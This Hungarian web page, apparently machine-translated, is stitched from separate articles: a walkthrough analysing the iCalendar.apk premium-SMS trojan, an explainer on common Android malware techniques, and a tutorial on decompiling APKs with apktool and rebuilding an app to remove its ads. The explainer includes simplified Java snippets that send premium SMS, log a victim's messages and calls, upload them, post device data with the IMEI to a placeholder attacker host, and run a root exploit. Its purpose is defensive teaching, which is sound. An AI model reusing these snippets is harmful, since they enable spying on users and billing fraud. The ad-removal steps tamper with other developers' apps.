Az Android rendszeren futó rosszindulatú program leírása. Felhasználói információk írása szöveges fájlba

18.05.2020 hírek

A rosszindulatú program leírása szoftver eszközök Androidra

Alekszandr Antipov

A McAfee veszélyhelyzeti állapotjelentése az év első negyedévében azt mutatta, hogy 6 millió egyedi rosszindulatú programmintát azonosítottak.


A McAfee veszélyhelyzeti állapotjelentése az év első negyedévében azt mutatta, hogy 6 millió egyedi rosszindulatú programmintát azonosítottak. Ebben az értelemben 2011 I. negyedéve bizonyult a legtermékenyebbnek az észlelt rosszindulatú programok számát tekintve az összes korábbi év azonos időszakához képest. A McAfee jelentése megjegyezte, hogy az Android-eszközök egyre inkább rosszindulatú programok hordozóivá válnak. Szakértők szerint az Android az idei év első negyedévében a Symbian után a második legnépszerűbb mobil célpont a rosszindulatúak körében.

Ebben a cikkben végigvezetjük Önt a szoftverelemzés különböző lépésein, ezáltal lehetővé téve annak megértését, hogy pontosan melyek a sebezhetőségek. Android platformokés hogy a támadók hogyan használják őket. Először is az Android fejlesztés történetének tárgyalásával kezdjük, majd áttérünk a platformkonfigurációs csomagok működésének alapjaira. Ugyanakkor részletesen elemezzük az összes rosszindulatú programot, amellyel kifejezetten az Androidhoz találkozunk.

Bevezetés az Android platformba

Az Android egy operációs rendszer mobiltelefonok, kommunikátorok, táblagépekés egyéb eszközök alapján Linux kernelek. Pályázatok a android fejlesztők Főleg Java nyelven írnak, biztosítva az eszközvezérlést a Google által fejlesztett Java könyvtár segítségével. Az Android Java fordítója fejlesztői fájlokat fordít osztályfájlokká, majd az osztályfájlokat dex-fájlokká alakítja. Ezek a fájlok speciálisan a felismerésre használt bájtkóddal rendelkeznek Virtuális gép Dalvik, amely egy Java Application (JVM) bájtkód-végrehajtási környezet, amelyen fut speciális alkalmazás Androidra. Az XML-fájlokat bináris formátumba konvertálják, amely kis fájlok létrehozására van optimalizálva. .dex fájlok, bináris XML fájlokés az alkalmazások futtatásához szükséges egyéb erőforrások egy android csomagfájlba vannak csomagolva. Ezek a fájlok .apk kiterjesztéssel rendelkeznek, de szabványos ZIP fájlok. Az apk-csomag létrehozása után a fejlesztő digitálisan aláírja, és a Google webhelyén keresztül feltölti az Android Marketre, ahonnan a felhasználó letöltheti ezeket az apk-fájlokat, és telepítheti Android-eszközére. Jelenleg több mint 2 millió alkalmazás tölthető le az Android Apps Central Store áruházból, és ezen túlmenően ne felejtse el Google Android Az alkalmazások más harmadik felek webhelyeiről is letölthetők.

Követelmények

  • Fájl kicsomagoló eszköz apk formátum- Winzip
  • Eszköz a .dex fájlok .jar fájlokká konvertálásához: ..Dex2jar
  • Grafikus segédprogram a Java visszafejtéséhez: JD-GUI
  • Android malware minták elemzéshez

Részletes lépések

I. lépés:
A rosszindulatú programelemzési eljárás elindításához először le kell töltenie egy, az Android platformot célzó rosszindulatú programmintát. Ebben az esetben az iCalendar.apk fájlt fogjuk letölteni, amely az Android Marketről eltávolított 11 gyanús alkalmazás egyike lett, mivel azt találták, hogy rosszindulatú programot tartalmaz a Gadget Media alkalmazásban. A kérés ellenőrzése a VirusTotalon 46,5%-os észlelési arányt mutatott, amint az az alábbi ábrán látható.


Rizs. egy

II. lépés:

Bontsa ki az iCalendar.apk fájlt a Winzip segítségével, majd megtekintheti az .apk fájl tartalmát

Rizs. 2. .dex és. A cikkben korábban tárgyalt XML-fájlokat az ábra mutatja. 2.

III. lépés:

A következő lépés a kód végrehajtása a "dex2jar" eszközzel. A dex2jar eszközkészlet a Dalvik futtatható .dex fájljait Java .class fájlokká alakítja. "Classes.dex" - az alkalmazásunkból származó fájl a "dex2jar" könyvtárba kerül, és a következő paranccsal konvertálódik: dex2jar.bat classes.dex.

Rizs. 3 Hozzon létre "classes.dex.dex2jar.jar" fájlokat egy könyvtárban.

Rizs. négy

IV. lépés:

A .class fájlok megtekintéséhez JD-GUI-t használtunk. Nyissa meg a „Classes.dex.dex2jar.jar” fájlt a JD-GUI segítségével.

Rizs. 5: Teljes látható forrás alkalmazások androidra.

V. lépés:
Az alkalmazás forráskódjának beszerzése után elemezheti a tényleges forrást, és ellenőrizheti a problémákat. Megjegyezték, hogy az "SmsReceiver.class" osztálynévvel rendelkező fájl kissé furcsán néz ki, mivel ez egy alkalmazásnaptár, és ebben az esetben nincs szükség SmsReceiverre. Az "SmsReceiver.class" forráskódjának további vizsgálata során kiderült, hogy az három számot tartalmazott: 1066185829, 1066133 és 106601412004, amelyek meglehetősen gyanúsnak tűntek. A helyzet különösen hasonlít a megadott számokról a címre küldött üzenetek blokkolására tett kísérlethez Android készülék, mikor ez az alkalmazás telepítve volt és futott.

Rizs. 6

Miután a Google-on keresztül rákerestünk ezekre a számokra, kiderült, hogy ezek a China Mobile tulajdonában lévő SMS-szolgáltatás számai (7. ábra).

Rizs. 7

Megpróbáltuk elemezni, hogy az alkalmazás miért próbálja blokkolni a kézbesítési jelentéseket a fent említett számokról a nyomon követés során.

VI. lépés:
Miután befejeztük az "SmsReceiver.class" fájl elemzését, továbblépünk a következő .class fájl kódjának elemzésére, pl. "iCalendar.class". Az első tűnik a leggyanúsabbnak. Különösen azt vettük észre, hogy egy bizonyos sendSms() függvény szerepel a showImg() függvényben.

Rizs. nyolc

Ezért elindítottuk a "sendSms ()" fájlellenőrzést, hogy meglássuk a parancsok végrehajtásának sajátosságait. Ahogy az alábbi ábrán is látható, láthatjuk, hogy a sendSms() funkció aktiválásakor a 921X1 szövegű SMS automatikusan elküldésre kerül a 1066185829 számra.

Rizs. 9

VII. lépés:
A sendSms() függvény végén észrevettük egy mentési függvényparancs jelenlétét. Így a kódon belül kerestük a save() függvényt, és megtaláltuk annak közvetlen kapcsolatát a sendSms() függvénnyel.

Rizs. tíz

Miután elvégezte a megfelelő elemzést, és kiderítette a save() függvény működésének különböző szempontjait, azt találtuk, hogy az "Y" karakterláncot minden alkalommal bejárja, amikor a save() függvény végrehajtja. Ezen kívül arra a következtetésre jutottak, hogy a sendSms() függvény csak egyszer hívható meg, de többet nem, mivel a sendSms() függvényhez egy "if" hurok van beállítva.

VIII. lépés:
Az elvégzett elemzések eredményeinek összevonásával tiszta képet kaphatunk a különféle típusú rosszindulatú programok teljes körű működéséről.

Az alkalmazás SMS-t küld a 1066185829 prémium számra a 921X1 szöveggel. Ezzel párhuzamosan az erre a számra érkező üzenetek kézbesítési jelentései blokkolva vannak, és ennek eredményeként az áldozat nem kap semmilyen jelzést az alkalmazás által küldött SMS meglétéről. háttér. Ezenkívül az SMS-t csak egyszer küldik el, és az áldozat valójában semmilyen módon nem sejtheti, hogy valójában mi okozta a számláról történő levonást.

Rizs. 11: Az iCalendar.apk Cycle Malware teljes megállapítása

Következtetés:

A telefonhoz root hozzáféréssel rendelkező rosszindulatú program nem csak képes elolvasni a rajta tárolt adatokat, hanem azt is képes átvinni bármilyen helyre. Ez az információ tartalmazhat Elérhetőség, dokumentumokat és még fiókjelszavakat is. Jelenlétében root hozzáférés lehetőség van más komponensek telepítésére, amelyek nem tekinthetők meg felhasználói felület telefon, így nem távolíthatók el könnyen. Az alkalmazások rosszindulatú programokkal szembeni védelmének fő módjai az Android platformon a következők:
  • Csak megbízható forrásból töltse le az alkalmazást;
  • Az alkalmazás letöltése előtt ellenőrizze a vonatkozó értékeléseket és véleményeket;
  • Az engedélyek gondos értékelése konkrét alkalmazások;
  • OS telepítése android frissítések, ahogy készen állnak;
  • Programok telepítése a mobilalkalmazások védelmére.

A dokumentum példát mutat be a rosszindulatú programok által a gyanútlan felhasználóknak okozott károkra. Ha valaki nem tud a létezéséről, akkor az ilyen programok elérhetővé válnak szinte minden jogosulatlan művelet elvégzésére a háttérben. A rosszindulatú programok működése anyagi veszteségeket okozhat a felhasználónak azáltal, hogy pénzeszközöket ír le egyenlegéből, valamint jelszavakat lop. Ezen kívül kárt okozhatnak magának a telefonnak is. Amint látja, nagyon fontos, hogy időben tegye meg a megfelelő óvintézkedéseket, hogy megakadályozza, hogy az ilyen típusú alkalmazások bejussanak telefonjába. Jobb egyszer biztonságban lenni, mint később tízszer megbánni.

Egyes víruskereső laboratóriumok gyűjteményükben már több mint 10 millió mintát tartalmaznak Android-rosszindulatú programok. Ez a szám izgatja a képzeletet, de ezek közül körülbelül 9 millió 995 ezer az eredeti vírusok átnevezett másolata. De ha elemezzük a fennmaradó több ezer rosszindulatú programminta forráskódját, észrevehetjük, hogy ezek mindegyike néhány egyedi funkcionális blokkból van kombinálva (többször módosított és különböző módon kombinálva).

A helyzet az, hogy a víruskészítők leggyakrabban nagyon triviális feladatokat hajtanak végre:

  • küldjön SMS-t egy fizetett számra;
  • birtokba venni bizalmas információ felhasználó ( telefonszámok, üzenetszövegek, SD-kártya adatok stb.);
  • adatokat gyűjt a fertőzött eszközről;
  • az eszköz rendszergazdai jogainak lefoglalása (alkalmazások telepítése a tulajdonos engedélye nélkül vagy az eszköz rosszindulatú letiltása);
  • nyomon követni a bejelentkezéseket, jelszavakat és fizetési kártyaadatokat, amelyeket a felhasználó az internetes banki rendszerek weboldalain ad meg. Hogyan csinálják? Próbáljunk meg bekerülni a mobilvirtualizáció borongós világába, és nézzük meg, mi történik ott.

SMS küldése

Ki használja:

  • Adsms;
  • hamis játékos;
  • HipposSms.

Az SMS trójaiak a vírusok leggyakoribb típusai. Ezek a vírusok egyszerűen üzeneteket küldenek a címre fizetett számok a felhasználó beleegyezése nélkül. Hozzon létre egy ilyen programot, vagy írja át a kész programot kívánt számot nagyon könnyű. Az előnyök megszerzésének folyamata pedig rendkívül leegyszerűsödik – ellentétben például a banki adatok nyomon követésével.

A következő az a legegyszerűbb példa kód. Ez az SMS küldésének alapvető funkciója. Bonyolíthatja a küldés állapotának ellenőrzése, az előfizető tartózkodási helyétől függő számok kiválasztása, majd az SMS törlése.

Privát statikus SendSms (String DestNumber, String SmsText) ( // Az SmsManager objektum sendTextMessage metódusának futtatása szabványos program SMS küldéséhez az aktuális készülékre) segítségével a minimális összeget paraméterek: címzett száma és üzenet szövege try( SmsManager.getDefault().sendTextMessage(Célszám,null,SmsText,null,null); return true; ) )

Hol keresse a víruskódot

Az esetek túlnyomó többségében a telefont alkalmazások telepítése fertőzi meg. Bármely Android-alkalmazás apk-fájlként létezik, ami valójában egy archívum. Ezzel megtekintheti a tartalmát Android használatával SDK, APK–JAR konverter és Java bájtkód-visszafejtő. Az alkalmazás-összeállítás (APK) a következő részekből áll:

  • erőforrások.arsc - erőforrástábla;
  • res (mappa) - tényleges erőforrások (ikonok stb.);
  • META-INF (mappa) - a következő tartalmú fájlokat tartalmazza: erőforrás-ellenőrző összegek, alkalmazástanúsítvány és APK-összeállítás leírása;
  • AndroidManifest.xml – mindenféle szolgáltatási információ. Beleértve az engedélyeket (engedélyeket), amelyeket az alkalmazás a telepítés előtt kér a megfelelő működéséhez;
  • classes.dex - biztosan hallottad, hogy az Android operációs rendszerekben minden kód a Dalvik virtuális gép segítségével fut le (a 4.4-es verziótól kezdve megjelenik az ART támogatás), amely nem érti a szokásos Java bájtkódot. Ezért vannak dex kiterjesztésű fájlok. A szükséges és hasznos osztályokkal együtt (amelyek az alkalmazás működéséért felelősek) rosszindulatúakat is tartalmaznak (a víruskód, amelyet ebben a cikkben elemezünk).

Felhasználói adatok írása a címre szöveges fájl

Ki használja:

  • Nicky Spy;
  • SmsSpy.

A vírusoknak van egy kategóriája, amely a felhasználók személyes adataira vadászik. A hatásmechanizmusuk is egyszerű. Vagy feltöltik a felhasználói fájlokat a készítőjük szerverére, vagy előre begyűjtenek néhány adatot txt-ben (CSV, XML – mindegy). A támadók érdeklődésére számot tarthatnak bármilyen típusú névjegyek, különböző azonnali üzenetküldőktől származó üzenetek, médiafájlok stb.

A fertőzött felhasználóktól érkező SMS-ek különösen értékesek a feladók és a címzettek telefonszáma miatt – ezzel feltölthetik az adatbázist a kéretlen levelek számára. Ritkábban az ilyen típusú vírusok bizonyos személyek eszközeinek megfertőzésére szolgálnak – ha legközelebb a barátnője felajánlja, hogy tesztelje az általa írt alkalmazást (ó, caramba! - Kb. a szerk.) Android alkalmazást, ne veszítse el az éberséget: ).

// Számolja meg az SMS-ek számát az eszközön arrayOfObject = (Object)localBundle.get("pdus"); int j=OfObject.length; // Lépés az egyes SMS-ek között i=1 while (true) (if(i>=j) break; // SMS üzenet objektum létrehozása SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // String változókba írja be a küldő számát, szövegét és az SMS küldésének időpontját String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Date localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("éééé-hh-nn HH:mm:ss").format(localDate); // A kapott adatokból karakterláncot hozzon létre, és írja be egy szöveges fájlba a WriteRec String MessageInfo= 7MessageNumber+" metódussal. #"+ MessageText+"#" + MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Továbblépés a következő üzenetre i+=1; ) Az is kényelmes, hogy a kéretlen levelek listáját feltöltheti az előfizető híváslista. Íme a bejövő hívásoknál futtatható kód: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) ( // Tegye be az előfizetői számot egy String phonenumber=paramIntent.getStringExtra változóba ("android.intent. extra.PHONE_NUMBER"); // A hívás számából és dátumából hozzon létre egy karakterláncot String PhoneCallRecord= telefonszám +"#"+getSystemTime(); // Hívja meg a WriteRec() metódust (kódja: itt nem látható), amely egy karakterláncot ad hozzá a híváselőzményeket tartalmazó szöveges fájlhoz WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); )

Az információ rögzítése után a „jobb kezekbe” kerül. Az alábbi kód feltölti a híváslistát a szerverre:

Private void uploadPhonecalHistory() IDException kivételt dob ​​( while(true) (​return; // Ellenőrizze, hogy létezik-e a szükséges fájl if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) folytatódik; // Objektum létrehozása - fájlfeltöltő UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Futtassa az .advanceduploadfile metódust (a kódja itt nem látható) a fájl feltöltéséhez a virusmaker localUploadFiles. advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); ) )

Információgyűjtés

Ki használja:

  • Droid Kung Fu
  • DroidDream;
  • a rosszindulatú programok túlnyomó többsége mind hasonló.

A programjaival fertőzött eszközökkel kapcsolatos információk elvileg minden vírusgyártó számára hasznosak. Nagyon könnyű megszerezni. Létrejön egy tömb a telefon tulajdonságaira vonatkozó adatokkal (a teljes lista megtalálható az Android fejlesztői útmutatójában), és POST-kérésként kerül elküldésre a támadó szerverén lévő PHP szkriptnek (a nyelv nem kritikus), amely feldolgozza az adatokat, és későbbi felhasználás céljából elhelyezi az adatbázisban.

Privát void reportState(int paramInt, string paramString) ( // Hozzon létre egy tömböt, és helyezze el a szolgáltatási információkat ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add ( new BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Ha a függvényben "paramString(comment)" paraméter van megadva, akkor tegye azt a tömbben, és annak if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Hozzon létre egy HTTP POST kérést az adatokat gyűjtő szkript címével HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try ( // Adja hozzá az adattömbünket a kéréshez, és hajtsa végre a szabványos HTTP-klienssel localHttpPost. setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); Visszatérés; ) )

Gyökerezés

Ki használja:

  • Droid Kung Fu
  • DroidDream;
  • RootSmart.

Az egyik legbosszantóbb dolog, ami egy Android-eszközzel történhet, ha egy vírus gyökerezi. Hiszen ezek után a rosszindulatú program bármit megtehet vele: más vírusokat telepíthet, beállításokat módosíthat hardver. Ezt a műveletet az exploitok egymás utáni elindításával hajtják végre:

Privát void RootFunc() ( ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" a híres Rage Against The Cage root exploit másolata. Kiall - megöli az aktuális alkalmazás által futó összes folyamatot. Gjsvro - exploit az udev jogok megszerzéséhez ( Linux rendszerekben használatos hardverrel és hálózati interfészekkel végzett hosszabb munkához) Másolja mindezt a megfelelő helyre */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils .copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro" "); //És futtassa a parancssor használatával Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/ bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packag eName + "/gjsvro"); new MyTread.start(); )

Mobil rosszindulatú programokkal foglalkozó webhelyek

A Kasperskiy Lab szakértői blogja Ez a forrás minőségi és részletes cikkeket tartalmaz a számítógépes biztonság számos aspektusáról, beleértve az Android vírusokat is. Érdemes rendszeresen ellátogatni erre az oldalra, hogy értesülhessünk a legújabb fejleményekről.

A csoportot egy nyílt forráskódú eszköznek szentelték az Android alkalmazáskóddal végzett mindenféle manipulációhoz (DEX/ODEX/APK fájlok dekompilációja és módosítása stb.). Az Androguard kiterjedt adatbázist is tartalmaz a vírusokról szóló cikkekből. Attól eltekintve rövid ismertetők funkcionalitás és védelmi módszerek, részletes elemzések vannak a rosszindulatú programkódról.


Mobile Threats rész a www.fortiguard.com Telefonvírusok enciklopédiájában. Minden cikk a funkcionalitás áttekintése, jelentős mennyiségű műszaki részlettel fűszerezve. A működést fenyegető veszélyekről szóló információkon kívül Android rendszerek, vannak cikkek a vírusokról Symbian OS, iOS és más platformokon.


Vírus védelem

Egyes felhasználók úgy vélik, hogy ha alkalmazásokat tölt le kizárólag a A Google Playés telepítsen egy víruskeresőt az okostelefonjára, akkor ez abszolút biztonságot garantál. Ne áltassa magát: rendszeresen megjelennek üzenetek az interneten a rosszindulatú programok hivatalos piacon való jelenlétéről. Az újonnan megjelenő rosszindulatú programok számát pedig havi százezrekben mérik, ami megnehezíti az adatbázisokba való időben történő belépést. víruskereső programok. A biztonság igazi garanciája az APK fájl kódjának kézi áttekintése adható, mielőtt telepítené a telefonra. Nem kell kódoló gurunak lenni ahhoz, hogy észrevegye a rosszindulatú kódrészleteket. És cikkünk ebben segít.

Következtetés

Ahogy a példákból is láthatjuk, a mobil virtualizáció nem különbözik technológiai összetettségben. Természetesen ezek a példák le vannak egyszerűsítve, hogy illeszkedjenek a naplóformátumhoz - mindenekelőtt hiányoznak a hiba- és kivételkezelők, valamint néhány technikai részlet, amelyek hiánya nem akadályozza meg az Android malware alapelveinek megértését, de megvédi Önt a felesleges kísérletektől. Végül is nem támogatjuk a vírusok létrehozását, igaz? 🙂

Néha egyes Android-alkalmazások valamilyen okból nem felelnek meg a felhasználónak. Ilyen például a bosszantó hirdetések. És ez így történik - mindenkinek jó a program, de csak a fordítás ferde, vagy teljesen hiányzik. Vagy például a program próba, és kap teljes verzió nincs lehetőség. Hogyan lehet változtatni a helyzeten?

Bevezetés

Ebben a cikkben arról fogunk beszélni, hogyan lehet szétszedni az APK-csomagot egy alkalmazással, fontolja meg belső szerkezet, szétszedjük és visszafordítjuk a bájtkódot, és próbáljunk meg néhány változtatást végrehajtani az alkalmazásokban, amelyek ilyen vagy olyan előnyöket hozhatnak számunkra.

Ahhoz, hogy mindezt saját kezűleg megtehesd, legalább alapismeretekre lesz szükséged a Java nyelvről, amelyen az Android alkalmazások íródnak, és az XML nyelvről, amelyet az Androidban mindenhol használnak – magának az alkalmazásnak és hozzáférési jogainak leírásától a karakterláncok tárolásáig. amely megjelenik a képernyőn. Szüksége lesz speciális konzolszoftverek kezelésére is.

Tehát mi az az APK-csomag, amelyben abszolút az összes Android-szoftvert terjesztik?

Alkalmazás dekompiláció

A cikkben csak szétszedett alkalmazáskóddal dolgoztunk, azonban ha komolyabb változtatásokat hajt végre a nagy alkalmazásokon, akkor sokkal nehezebb lesz megérteni a smali kódot. Szerencsére a dex kódot vissza tudjuk fordítani Java kódra, ami ugyan nem eredeti és nem is visszafordítható, de sokkal könnyebben olvasható és megérthető az alkalmazás logikája. Ehhez két eszközre van szükségünk:

  • dex2jar - a Dalvik bájtkód fordítója JVM bájtkódra, amely alapján Java kódot kaphatunk;
  • A jd-gui maga egy visszafejtő, amely lehetővé teszi, hogy olvasható Java kódot kapjon a JVM bájtkódból. Alternatív megoldásként használhatja a Jad-et (www.varanecas.com/jad); bár elég régi, bizonyos esetekben olvashatóbb kódot generál, mint a Jd-gui.

Ezeket így kell használni. Először elindítjuk a dex2jar-t, argumentumként megadva az apk-csomag elérési útját:

%dex2jar.sh mail.apk

Ennek eredményeként az aktuális könyvtárban megjelenik a mail.jar Java csomag, amely már megnyitható jd-gui-ban a Java kód megtekintéséhez.

APK-csomagok rendezése és beszerzése

Csomag android alkalmazások, valójában egy normál ZIP fájl, amelynek tartalmának megtekintéséhez és kicsomagolásához nincs szükség speciális eszközökre. Elég egy archiváló - 7zip Windowshoz vagy konzolos kicsomagolás Linuxban. De ez a burkolatról szól. Mi van benne? Belül általában a következő szerkezettel rendelkezünk:

  • META-INF/- tartalmazza az alkalmazás digitális tanúsítványát, amely tanúsítja annak készítőjét, valamint a csomagfájlok ellenőrző összegeit;
  • res/ - különféle erőforrások, amelyeket az alkalmazás a munkája során használ, például képek, a felület deklaratív leírása és egyéb adatok;
  • AndroidManifest.xml- a pályázat leírása. Ez magában foglalja például a szükséges engedélyek listáját android verzióés a szükséges képernyőfelbontás;
  • osztályok.dex- lefordított alkalmazás bytecode a Dalvik virtuális géphez;
  • források.arsc- források is, de más jellegűek - különösen karakterláncok (igen, ez a fájl oroszosításra használható!).

A felsorolt ​​fájlok és könyvtárak, ha nem is az összesben, de talán az APK-k túlnyomó többségében megtalálhatók. Van azonban néhány kevésbé gyakori fájl/könyvtár, amelyet érdemes megemlíteni:

  • eszközök- az erőforrások analógja. A fő különbség az, hogy egy erőforrás eléréséhez ismerni kell az azonosítóját, míg az eszközök listája az alkalmazás kódjában található AssetManager.list() metódussal dinamikusan beszerezhető;
  • lib- NDK (Native Development Kit) segítségével írt natív Linux könyvtárak.

Ezt a könyvtárat használják a játékgyártók arra, hogy a C/C++ nyelven írt játékmotorjukat ott helyezzék el, valamint a nagy teljesítményű alkalmazások készítői (pl. Google Chrome). Megértette a készüléket. De hogyan lehet hozzájutni az érdekelt alkalmazás csomagfájljához? Mivel rootolás nélkül nem lehet letölteni az APK fájlokat az eszközről (az / data / app könyvtárban vannak), és a rootolás nem mindig tanácsos, legalább háromféleképpen juthat el az alkalmazásfájl a számítógépre:

  • APK Downloader bővítmény Chrome-hoz;
  • Valódi APK Leecher alkalmazás;
  • különféle fájltárolás és warezniki.

Hogy melyiket használjuk, az ízlés dolga; inkább használjuk egyedi alkalmazások, ezért leírjuk a Real APK Leecher használatát, főleg, hogy Java nyelven íródott, és ennek megfelelően még Windows alatt is működik, még nix-ben is.

A program elindítása után három mezőt kell kitölteni: Email, Jelszó és Eszközazonosító - és válasszon nyelvet. Az első kettő az eszközön használt Google-fiókjának e-mail címe és jelszava. A harmadik az eszközazonosító, amelyet a tárcsázó kódjának tárcsázásával kaphat meg # #8255## majd keresse meg az Eszközazonosító sort. Kitöltéskor csak az azonosítót kell megadni az android-előtag nélkül.

A kitöltés és mentés után gyakran megjelenik a „Hiba a szerverhez való csatlakozáskor” üzenet. Ennek semmi köze a Google Playhez, ezért nyugodtan hagyja figyelmen kívül, és keressen olyan csomagokat, amelyek érdeklik.

Felülvizsgálat és módosítás

Tegyük fel, hogy talált egy olyan csomagot, amely érdekli, letöltötte, kicsomagolta... és amikor megpróbált megtekinteni egy XML-fájlt, meglepődve tapasztalta, hogy a fájl nem szöveges fájl. Hogyan lehet visszafejteni és általában hogyan kell csomagokkal dolgozni? Valóban szükséges az SDK telepítése? Nem, nem kell telepítenie az SDK-t. Valójában az APK-csomagok kicsomagolásának, módosításának és csomagolásának minden lépéséhez a következő eszközökre van szükség:

  • ZIP archiváló ki- és csomagoláshoz;
  • smali- Dalvik virtuális gép bájtkód összeszerelő/bontó (code.google.com/p/smali);
  • aapt- eszköz az erőforrások csomagolására (alapértelmezés szerint az erőforrásokat bináris formában tárolják az alkalmazás teljesítményének optimalizálása érdekében). Az Android SDK része, de külön is beszerezhető;
  • Aláíró- módosított csomag digitális aláírására szolgáló eszköz (bit.ly/Rmrv4M).

Ezeket az eszközöket külön-külön is használhatja, de ez kényelmetlen, ezért érdemes magasabb szintű, ezekre épített szoftvereket használni. Ha Linuxot vagy Mac OS X-et használ, van egy apktool nevű eszköz. Lehetővé teszi az erőforrások eredeti formájukba való kicsomagolását (beleértve a bináris XML és arsc fájlokat), a csomag újraépítését a módosított erőforrásokkal, de nem tudja, hogyan kell aláírni a csomagokat, ezért manuálisan kell futtatnia az aláíró segédprogramot. Annak ellenére, hogy a segédprogram Java nyelven íródott, telepítése meglehetősen nem szabványos. Először magát a jar fájlt kell beszereznie:

$ cd /tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~/bin $ mv apktool-install-linux-r05-ibot/* ~/bin $ export PATH=~/bin:$PATH

Ha Windows-on dolgozol, akkor van rá egy kiváló eszköz, a Virtual Ten Studio, amely szintén felhalmozza ezeket az eszközöket (beleértve magát az apktool-t is), de a CLI felület helyett egy intuitív grafikus felületet biztosít a felhasználónak, amellyel néhány kattintással kicsomagolási, szétszerelési és visszafordítási műveleteket hajthat végre. Ez az eszköz Donation-ware, vagyis időnként megjelennek az ablakok, amelyek engedélyt kérnek, de ez végül is elviselhető. Leírni nincs értelme, mert pár perc alatt megérted a felületet. De az apktool konzol jellegéből adódóan részletesebben tárgyalandó.


Fontolja meg az apktool beállításait. Röviden, három fő parancs létezik: d (dekódolás), b (build) és if (keretrendszer telepítése). Ha az első két paranccsal minden világos, akkor mit csinál a harmadik, a feltételes operátor? Kibontja a megadott UI keretrendszert, amelyre egy rendszercsomag boncolásakor van szükség.

Tekintsük az első parancs legérdekesebb lehetőségeit:

  • -s- ne szedje szét a dex fájlokat;
  • -r- ne csomagolja ki az erőforrásokat;
  • -b- ne illesszen be hibakeresési információkat a dex fájl szétszerelésének eredményébe;
  • --frame-path- használja a megadott UI keretrendszert a beépített apktool helyett. Most fontoljon meg néhány lehetőséget a b parancshoz:
  • -f- kényszerszerelés a változtatások ellenőrzése nélkül;
  • -a- adja meg az aapt (az APK archívum létrehozására szolgáló eszköz) elérési útját, ha valamilyen okból más forrásból szeretné használni.

Az apktool használata nagyon egyszerű, mindössze annyit kell tennie, hogy megadja az egyik parancsot és az APK elérési útját, például:

$ apktool d mail.apk

Ezt követően az összes kibontott és szétszedett csomagfájl megjelenik a levelezőkönyvtárban.

Készítmény. Hirdetések letiltása

Az elmélet persze jó, de miért van rá szükség, ha nem tudunk mit kezdeni a kicsomagolt csomaggal? Próbáljuk meg a saját hasznunkra alkalmazni az elméletet, mégpedig úgy, hogy néhány szoftvert úgy módosítunk, hogy az ne mutasson nekünk hirdetéseket. Legyen például Virtual Torch – virtuális fáklya. Számunkra ez a szoftver tökéletes, mert tele van idegesítő reklámokkal, és elég egyszerű ahhoz, hogy ne vesszen el a kód vadonjában.


Tehát a fenti módszerek egyikével töltse le az alkalmazást a piacról. Ha a Virtuous Ten Studio használata mellett dönt, nyissa meg az APK fájlt az alkalmazásban, és csomagolja ki, amelyhez hozzon létre egy projektet (Fájl -> Új projekt), majd helyi menü projektet, válassza a Fájl importálása lehetőséget. Ha a választás az apktool-ra esett, akkor elegendő egy parancsot végrehajtani:

$ apktool d com.kauf.particle.virtualtorch.apk

Ezt követően egy fájlfa jelenik meg a com.kauf.particle.virtualtorch könyvtárban, hasonlóan az előző részben leírtakhoz, de a dex fájlok helyett egy további smali könyvtárral és egy apktool.yml fájllal. Az első az alkalmazás futtatható dex fájljának szétszedett kódját tartalmazza, a második az apktool által a csomag visszaállításához szükséges szolgáltatási információkat tartalmazza.

Az első hely, amelyet meg kell keresnünk, természetesen az AndroidManifest.xml. És itt azonnal találkozunk a következő sorral:

Könnyen kitalálható, hogy ő a felelős azért, hogy az alkalmazás engedélyeit megadja az internetkapcsolat használatához. Sőt, ha csak meg akarunk szabadulni a reklámoktól, nagy valószínűséggel elég lesz letiltanunk az alkalmazást az internetről. Próbáljuk meg csinálni. Törölje a megadott sort, és próbálja meg lefordítani a szoftvert az apktool segítségével:

$ apktool b com.kauf.particle.virtualtorch

Az eredményül kapott APK-fájl a com.kauf.particle.virtualtorch/build/ könyvtárban fog megjelenni. Viszont nem telepíthető, mert nincs digitális aláírása és fájlellenőrző összege (egyszerűen nincs META-INF/ könyvtára). A csomagot alá kell írnunk az apk-signer segédprogrammal. Elindult. A felület két lapból áll - az elsőn (Key Generator) kulcsokat hozunk létre, a másodikon (APK Signer) aláírjuk. Privát kulcsunk létrehozásához töltse ki a következő mezőket:

  • Célfájl- kulcstároló kimeneti fájl; általában egy pár kulcsot tárol;
  • Jelszóés megerősít- jelszó a tároláshoz;
  • Álnév- a kulcs neve az adattárban;
  • Alias ​​jelszóés megerősít- titkos kulcs jelszava;
  • Érvényesség- Érvényességi idő (években). Az alapértelmezett érték az optimális.

